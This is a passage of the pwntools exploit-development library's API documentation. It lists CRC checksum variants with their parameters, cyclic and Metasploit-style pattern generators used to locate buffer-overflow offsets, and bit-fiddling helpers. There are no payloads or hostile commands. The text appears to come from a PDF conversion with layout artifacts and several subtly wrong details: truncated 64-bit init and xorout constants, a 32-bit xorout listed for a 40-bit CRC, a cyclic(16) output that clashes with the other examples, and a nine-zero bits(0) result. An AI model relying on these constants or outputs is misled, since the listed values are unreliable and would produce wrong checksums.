Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_32c(b'123456789'))
3808858755
```

`pwnlib.util.crc.crc_32d(data) → int`

Calculates the `crc_32d` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0xa833982b`
- `width = 32`
- `init = 0xffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0xffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32d>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_32d(b'123456789'))
2268157302
```

`pwnlib.util.crc.crc_32q(data) → int`

Calculates the `crc_32q` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x814141ab`
- `width = 32`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32q>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_32q(b'123456789'))
806403967
```

`pwnlib.util.crc.crc_3_gsm(data) → int`

Calculates the `crc_3_gsm` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3`
- `width = 3`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x7`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.3>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print (crc_3_gsm (b'123456789'))
4
```

`pwnlib.util.crc.crc_3_rohc (data) → int`
Calculates the `crc_3_rohc` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x3`
- `width = 3`
- `init = 0x7`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-3-rohc>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print (crc_3_rohc (b'123456789'))
6
```

`pwnlib.util.crc.crc_40_gsm (data) → int`
Calculates the `crc_40_gsm` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x4820009`
- `width = 40`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0xffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.40>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print (crc_40_gsm (b'123456789'))
910907393606
```

`pwnlib.util.crc.crc_4_interlaken(data) → int`
Calculates the `crc_4_interlaken` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3`
- `width = 4`
- `init = 0xf`
- `refin = False`
- `refout = False`
- `xorout = 0xf`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.4>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_4_interlaken(b'123456789'))
11
```

`pwnlib.util.crc.crc_4_itu(data) → int`
Calculates the `crc_4_itu` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3`
- `width = 4`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-4-it>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_4_itu(b'123456789'))
7
```

`pwnlib.util.crc.crc_5_epc(data) → int`
Calculates the `crc_5_epc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x9`
- `width = 5`
- `init = 0x9`
- `refin = False`

- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.5>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_5_epc(b'123456789'))
0
```

`pwnlib.util.crc.crc_5_itu(data) → int`
Calculates the `crc_5_itu` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x15
- width = 5
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-5-itu>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_5_itu(b'123456789'))
7
```

`pwnlib.util.crc.crc_5_usb(data) → int`
Calculates the `crc_5_usb` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x5
- width = 5
- init = 0x1f
- refin = True
- refout = True
- xorout = 0x1f

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-5-usb>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_5_usb(b'123456789'))
25
```

`pwnlib.util.crc.crc_64(data) → int`

Calculates the crc_64 checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x42f0e1eba9ea3693`
- `width = 64`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.64>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_64(b'123456789'))
7800480153909949255
```

`pwnlib.util.crc.crc_64_go_iso(data) → int`

Calculates the crc_64_go_iso checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1b`
- `width = 64`
- `init = 0xffffffffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0xffffffffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-go-iso>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_64_go_iso(b'123456789'))
13333283586479230977
```

`pwnlib.util.crc.crc_64_we(data) → int`

Calculates the crc_64_we checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x42f0e1eba9ea3693`
- `width = 64`
- `init = 0xffffffffffffff`
- `refin = False`
- `refout = False`
- `xorout = 0xffffffffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-we>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_64_we(b'123456789'))
7128171145767219210
```

`pwnlib.util.crc.crc_64_xz(data) → int`

Calculates the `crc_64_xz` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x42f0e1eba9ea3693`
- `width = 64`
- `init = 0xffffffffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0xffffffffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-xz>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_64_xz(b'123456789'))
11051210869376104954
```

`pwnlib.util.crc.crc_6_cdma2000_a(data) → int`

Calculates the `crc_6_cdma2000_a` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x27`
- `width = 6`
- `init = 0x3f`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.6>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print (crc_6_cdma2000_a (b'123456789' ) )
13
```

`pwnlib.util.crc.crc_6_cdma2000_b (data) → int`
Calculates the `crc_6_cdma2000_b` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x7`
- `width = 6`
- `init = 0x3f`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-cdma2000-b>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print (crc_6_cdma2000_b (b'123456789' ) )
59
```

`pwnlib.util.crc.crc_6_darc (data) → int`
Calculates the `crc_6_darc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x19`
- `width = 6`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-darc>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print (crc_6_darc (b'123456789' ) )
38
```


`pwnlib.util.crc.crc_6_gsm(data) → int`
Calculates the `crc_6_gsm` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x2f`
- `width = 6`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x3f`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-gsm>

Parameters `data (str)` – The data to checksum.

Example

```
>>> print(crc_6_gsm(b'123456789'))  
19
```

`pwnlib.util.crc.crc_6_itu(data) → int`
Calculates the `crc_6_itu` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3`
- `width = 6`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-itu>

Parameters `data (str)` – The data to checksum.

Example

```
>>> print(crc_6_itu(b'123456789'))  
6
```

`pwnlib.util.crc.crc_7(data) → int`
Calculates the `crc_7` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x9`
- `width = 7`
- `init = 0x0`
- `refin = False`

- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.7>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print (crc_7 (b'123456789'))
117
```

`pwnlib.util.crc.crc_7_rohc (data) → int`

Calculates the `crc_7_rohc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x4f
- width = 7
- init = 0x7f
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-7-rohc>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print (crc_7_rohc (b'123456789'))
83
```

`pwnlib.util.crc.crc_7_ums (data) → int`

Calculates the `crc_7_ums` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x45
- width = 7
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-7-ums>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_7_ums(b'123456789'))
97
```

`pwnlib.util.crc.crc_8(data) → int`

Calculates the `crc_8` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x7`
- `width = 8`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.8>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_8(b'123456789'))
244
```

`pwnlib.util.crc.crc_82_darc(data) → int`

Calculates the `crc_82_darc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x308c0111011401440411`
- `width = 82`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.82>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_82_darc(b'123456789'))
749237524598872659187218
```

`pwnlib.util.crc.crc_8_autosar(data) → int`

Calculates the `crc_8_autosar` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x2f`
- `width = 8`
- `init = 0xff`
- `refin = False`
- `refout = False`
- `xorout = 0xff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-autosar>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_8_autosar(b'123456789'))
223
```

`pwnlib.util.crc.crc_8_cdma2000(data) → int`

Calculates the `crc_8_cdma2000` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x9b`
- `width = 8`
- `init = 0xff`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-cdma2000>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_8_cdma2000(b'123456789'))
218
```

`pwnlib.util.crc.crc_8_darc(data) → int`

Calculates the `crc_8_darc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x39`
- `width = 8`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-darc>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_8_darc(b'123456789'))
21
```

`pwnlib.util.crc.crc_8_dvb_s2(data) → int`
Calculates the `crc_8_dvb_s2` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0xd5`
- `width = 8`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-dvb-s2>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_8_dvb_s2(b'123456789'))
188
```

`pwnlib.util.crc.crc_8_ebu(data) → int`
Calculates the `crc_8_ebu` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1d`
- `width = 8`
- `init = 0xff`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-ebu>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_8_ebu(b'123456789'))
151
```

`pwnlib.util.crc.crc_8_gsm_a(data) → int`
Calculates the `crc_8_gsm_a` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1d`
- `width = 8`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-gsm-a>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_8_gsm_a(b'123456789'))
55
```

`pwnlib.util.crc.crc_8_gsm_b(data) → int`
Calculates the `crc_8_gsm_b` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x49`
- `width = 8`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0xff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-gsm-b>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_8_gsm_b(b'123456789'))
148
```

`pwnlib.util.crc.crc_8_i_code(data) → int`
Calculates the `crc_8_i_code` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1d`
- `width = 8`
- `init = 0xfd`
- `refin = False`

- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-i-code>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_8_i_code(b'123456789'))
126
```

`pwnlib.util.crc.crc_8_itu(data) → int`
Calculates the `crc_8_itu` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x7
- width = 8
- init = 0x0
- refin = False
- refout = False
- xorout = 0x55

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-itu>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_8_itu(b'123456789'))
161
```

`pwnlib.util.crc.crc_8_lte(data) → int`
Calculates the `crc_8_lte` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x9b
- width = 8
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-lte>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_8_lte(b'123456789'))
234
```

`pwnlib.util.crc.crc_8_maxim(data) → int`

Calculates the `crc_8_maxim` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x31`
- `width = 8`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-maxim>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_8_maxim(b'123456789'))
161
```

`pwnlib.util.crc.crc_8_opensafety(data) → int`

Calculates the `crc_8_opensafety` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x2f`
- `width = 8`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-opensafety>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_8_opensafety(b'123456789'))
62
```

`pwnlib.util.crc.crc_8_rohc(data) → int`

Calculates the `crc_8_rohc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x7`
- `width = 8`
- `init = 0xff`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-rohc>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_8_rohc(b'123456789'))
208
```

`pwnlib.util.crc.crc_8_sae_j1850(data) → int`

Calculates the `crc_8_sae_j1850` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1d`
- `width = 8`
- `init = 0xff`
- `refin = False`
- `refout = False`
- `xorout = 0xff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-sae-j1850>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_8_sae_j1850(b'123456789'))
75
```

`pwnlib.util.crc.crc_8_wcdma(data) → int`

Calculates the `crc_8_wcdma` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x9b`
- `width = 8`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-wdcm>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print (crc_8_wdcm (b'123456789' ))
37
```

`pwnlib.util.crc.crc_a (data) → int`
Calculates the `crc_a` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0xc6c6`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-a>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print (crc_a (b'123456789' ))
48901
```

`pwnlib.util.crc.jamcrc (data) → int`
Calculates the `jamcrc` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x4c11db7`
- `width = 32`
- `init = 0xffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.jamcrc>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print (jamcrc (b'123456789' ))
873187033
```

`pwnlib.util.crc.kermit(data) → int`
 Calculates the kermit checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.kermit>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(kermit(b'123456789'))
8585
```

`pwnlib.util.crc.modbus(data) → int`
 Calculates the modbus checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x8005`
- `width = 16`
- `init = 0xffff`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.modbus>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(modbus(b'123456789'))
19255
```

`pwnlib.util.crc.x_25(data) → int`
 Calculates the x_25 checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0xffff`
- `refin = True`

- refout = True
- xorout = 0xffff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.x-25>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(x_25(b'123456789'))
36974
```

`pwnlib.util.crc.xfer(data) → int`
Calculates the xfer checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0xaf
- width = 32
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.xfer>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(xfer(b'123456789'))
3171672888
```

`pwnlib.util.crc.xmodem(data) → int`
Calculates the xmodem checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.xmodem>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(xmodem(b'123456789'))
12739
```

2.32 pwntools.util.cyclic — Generation of unique sequences

`pwntools.util.cyclic.cyclic` (*length* = None, *alphabet* = None, *n* = None) → list/str

A simple wrapper over `de_bruijn()`. This function returns at most *length* elements.

If the given *alphabet* is a string, a string is returned from this function. Otherwise a list is returned.

Parameters

- **length** – The desired length of the list or None if the entire sequence is desired.
- **alphabet** – List or string to generate the sequence over.
- **n** (*int*) – The length of subsequences that should be unique.

Notes

The maximum length is $\text{len}(\text{alphabet})^n$.

The default values for *alphabet* and *n* restrict the total space to ~446KB.

If you need to generate a longer cyclic pattern, provide a longer *alphabet*, or if possible a larger *n*.

Example

Cyclic patterns are usually generated by providing a specific *length*.

```
>>> cyclic(20)
b'aaaabaaacaaadaaaeaaa'
```

```
>>> cyclic(32)
b'aaaabaaacaaadaaaeaaafaaagaaahaaa'
```

The *alphabet* and *n* arguments will control the actual output of the pattern

```
>>> cyclic(20, alphabet=string.ascii_uppercase)
'AAAABAAACAAADAAAEAAA'
```

```
>>> cyclic(20, n=8)
b'aaaaaaaaabaaaaaacaaa'
```

```
>>> cyclic(20, n=2)
b'aabacadaeafagahaiaja'
```

The size of *n* and *alphabet* limit the maximum length that can be generated. Without providing *length*, the entire possible cyclic space is generated.

```
>>> cyclic(alphabet = "ABC", n = 3)
'AAABAACABBABCACBACBBBCBCCC'
```

```
>>> cyclic(length=512, alphabet = "ABC", n = 3)
Traceback (most recent call last):
...
PwnlibException: Can't create a pattern length=512 with len(alphabet)==3 and n==3
```

The *alphabet* can be set in *context*, which is useful for circumstances when certain characters are not allowed. See `context.cyclic_alphabet`.

```
>>> context.cyclic_alphabet = "ABC"
>>> cyclic(10)
b'AAAABAAACA'
```

The original values can always be restored with:

```
>>> context.clear()
```

The following just a test to make sure the length is correct.

```
>>> alphabet, n = range(30), 3
>>> len(alphabet)**n, len(cyclic(alphabet = alphabet, n = n))
(27000, 27000)
```

`pwnlib.util.cyclic.cyclic_find(subseq, alphabet = None, n = None) → int`

Calculates the position of a substring into a De Bruijn sequence.

Parameters

- **subseq** – The subsequence to look for. This can be a string, a list or an integer. If an integer is provided it will be packed as a little endian integer.
- **alphabet** – List or string to generate the sequence over. By default, uses `context.cyclic_alphabet`.
- **n** (*int*) – The length of subsequences that should be unique. By default, uses `context.cyclic_size`.

Examples

Let's generate an example cyclic pattern.

```
>>> cyclic(16)
b'aaaabaaacaadaaaa'
```

Note that 'baaa' starts at offset 4. The `cyclic_find` routine shows us this:

```
>>> cyclic_find(b'baaa')
4
```

The *default* length of a subsequence generated by *cyclic* is 4. If a longer value is submitted, it is automatically truncated to four bytes.

```
>>> cyclic_find(b'baaaca')
4
```

If you provided e.g. *n=8* to *cyclic* to generate larger subsequences, you must explicitly provide that argument.

```
>>> cyclic_find(b'baaacaaa', n=8)
3515208
```

We can generate a large cyclic pattern, and grab a subset of it to check a deeper offset.

```
>>> cyclic_find(cyclic(1000) [514:518])
514
```

Instead of passing in the byte representation of the pattern, you can also pass in the integer value. Note that this is sensitive to the selected endianness via *context.endian*.

```
>>> cyclic_find(0x61616162)
4
>>> cyclic_find(0x61616162, endian='big')
1
```

You can use anything for the cyclic pattern, including non-printable characters.

```
>>> cyclic_find(0x00000000, alphabet=unhex('DEADBEEF00'))
621
```

`pwnlib.util.cyclic.cyclic_metasploit` (*length* = *None*, *sets* = [*string.ascii_uppercase*, *string.ascii_lowercase*, *string.digits*]) → *str*

A simple wrapper over *metasploit_pattern()*. This function returns a string of length *length*.

Parameters

- **length** – The desired length of the string or *None* if the entire sequence is desired.
- **sets** – List of strings to generate the sequence over.

Example

```
>>> cyclic_metasploit(32)
b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab'
>>> cyclic_metasploit(sets = [b"AB", b"ab", b"12"])
b'Aa1Aa2Ab1Ab2Ba1Ba2Bb1Bb2'
>>> cyclic_metasploit()[1337:1341]
b'5Bs6'
>>> len(cyclic_metasploit())
20280
```

`pwnlib.util.cyclic.cyclic_metasploit_find` (*subseq*, *sets* = [*string.ascii_uppercase*, *string.ascii_lowercase*, *string.digits*]) → *int*

Calculates the position of a substring into a Metasploit Pattern sequence.

Parameters

- **subseq** – The subsequence to look for. This can be a string or an integer. If an integer is provided it will be packed as a little endian integer.
- **sets** – List of strings to generate the sequence over.

Examples

```
>>> cyclic_metasploit_find(cyclic_metasploit(1000)[514:518])
514
>>> cyclic_metasploit_find(0x61413161)
4
```

`pwnlib.util.cyclic.de_bruijn(alphabet=None, n=None) → generator`

Generator for a sequence of unique substrings of length *n*. This is implemented using a De Bruijn Sequence over the given *alphabet*.

The returned generator will yield up to `len(alphabet)**n` elements.

Parameters

- **alphabet** – List or string to generate the sequence over.
- **n** (*int*) – The length of subsequences that should be unique.

`pwnlib.util.cyclic.metasploit_pattern(sets = [string.ascii_uppercase, string.ascii_lowercase, string.digits]) → generator`

Generator for a sequence of characters as per Metasploit Framework's `Rex::Text.pattern_create` (aka `pattern_create.rb`).

The returned generator will yield up to `len(sets) * reduce(lambda x,y: x*y, map(len, sets))` elements.

Parameters **sets** – List of strings to generate the sequence over.

2.33 pwnlib.util.fiddling — Utilities bit fiddling

`pwnlib.util.fiddling.b64d(s) → str`

Base64 decodes a string

Example

```
>>> b64d('dGVzdA==')
b'test'
```

`pwnlib.util.fiddling.b64e(s) → str`

Base64 encodes a string

Example

```
>>> b64e(b"test")
'dGVzdA=='
```

`pwnlib.util.fiddling.bits(s, endian='big', zero=0, one=1) → list`

Converts the argument a list of bits.

Parameters

- **s** – A string or number to be converted into bits.
- **endian** (*str*) – The binary endian, default 'big'.
- **zero** – The representing a 0-bit.

- **one** – The representing a 1-bit.

Returns A list consisting of the values specified in *zero* and *one*.

Examples

```
>>> bits(511, zero = "+", one = "-")
['+', '+', '+', '+', '+', '+', '+', '+', '-', '-', '-', '-', '-', '-', '-', '-']
>>> sum(bits(b"test"))
17
>>> bits(0)
[0, 0, 0, 0, 0, 0, 0, 0, 0]
```

`pwnlib.util.fiddling.bits_str(s, endian = 'big', zero = '0', one = '1') → str`
A wrapper around `bits()`, which converts the output into a string.

Examples

```
>>> bits_str(511)
'0000000111111111'
>>> bits_str(b"bits_str", endian = "little")
'01000110100101100010111011001110111010110011100010111001001110'
```

`pwnlib.util.fiddling.bitswap(s) → str`
Reverses the bits in every byte of a given string.

Example

```
>>> bitswap(b"1234")
b'\x8cL\xcc,'
```

`pwnlib.util.fiddling.bitswap_int(n) → int`
Reverses the bits of a numbers and returns the result as a new number.

Parameters

- **n** (*int*) – The number to swap.
- **width** (*int*) – The width of the integer

Examples

```
>>> hex(bitswap_int(0x1234, 8))
'0x2c'
>>> hex(bitswap_int(0x1234, 16))
'0x2c48'
>>> hex(bitswap_int(0x1234, 24))
'0x2c4800'
>>> hex(bitswap_int(0x1234, 25))
'0x589000'
```

`pwnlib.util.fiddling.bnot(value, width=None)`
Returns the binary inverse of 'value'.

`pwnlib.util.fiddling.enhex(x) → str`
Hex-encodes a string.

Example

```
>>> enhex(b"test")
'74657374'
```

`pwnlib.util.fiddling.hexdump(s, width=16, skip=True, hexii=False, begin=0, style=None, highlight=None, cyclic=False, groupsize=4)`

hexdump(s, width = 16, skip = True, hexii = False, begin = 0, style = None, highlight = None, cyclic = False, groupsize=4) -> str generator

Return a hexdump-dump of a string.

Parameters

- **s** (*str*) – The data to hexdump.
- **width** (*int*) – The number of characters per line
- **groupsize** (*int*) – The number of characters per group
- **skip** (*bool*) – Set to True, if repeated lines should be replaced by a “*”
- **hexii** (*bool*) – Set to True, if a hexii-dump should be returned instead of a hexdump.
- **begin** (*int*) – Offset of the first byte to print in the left column
- **style** (*dict*) – Color scheme to use.
- **highlight** (*iterable*) – Byte values to highlight.
- **cyclic** (*bool*) – Attempt to skip consecutive, unmodified cyclic lines

Returns A hexdump-dump in the form of a string.

Examples

```
>>> print(hexdump(b"abc"))
00000000  61 62 63                                     |abc|
00000003
```

```
>>> print(hexdump(b'A'*32))
00000000  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
→ |AAAA|AAAA|AAAA|AAAA|
*
00000020
```

```
>>> print(hexdump(b'A'*32, width=8))
00000000  41 41 41 41 41 41 41 41 |AAAA|AAAA|
*
00000020
```

```
>>> print(hexdump(cyclic(32), width=8, begin=0xdead0000, hexii=True))
dead0000  .a .a .a .a .b .a .a .a |
dead0008  .c .a .a .a .d .a .a .a |
```

(continues on next page)

(continued from previous page)

```
dead0010 .e .a .a .a .f .a .a .a
dead0018 .g .a .a .a .h .a .a .a
dead0020
```

```
>>> import struct
>>> print(hexdump(list(map(struct.Struct("B").pack, range(256)))))
00000000 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
↳ |....|....|....|....|
00000010 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
↳ |....|....|....|....|
00000020 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f | !"#|$%&'()*+,-./
↳ |
00000030 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f |0123|4567|89:;<=>?
↳ |
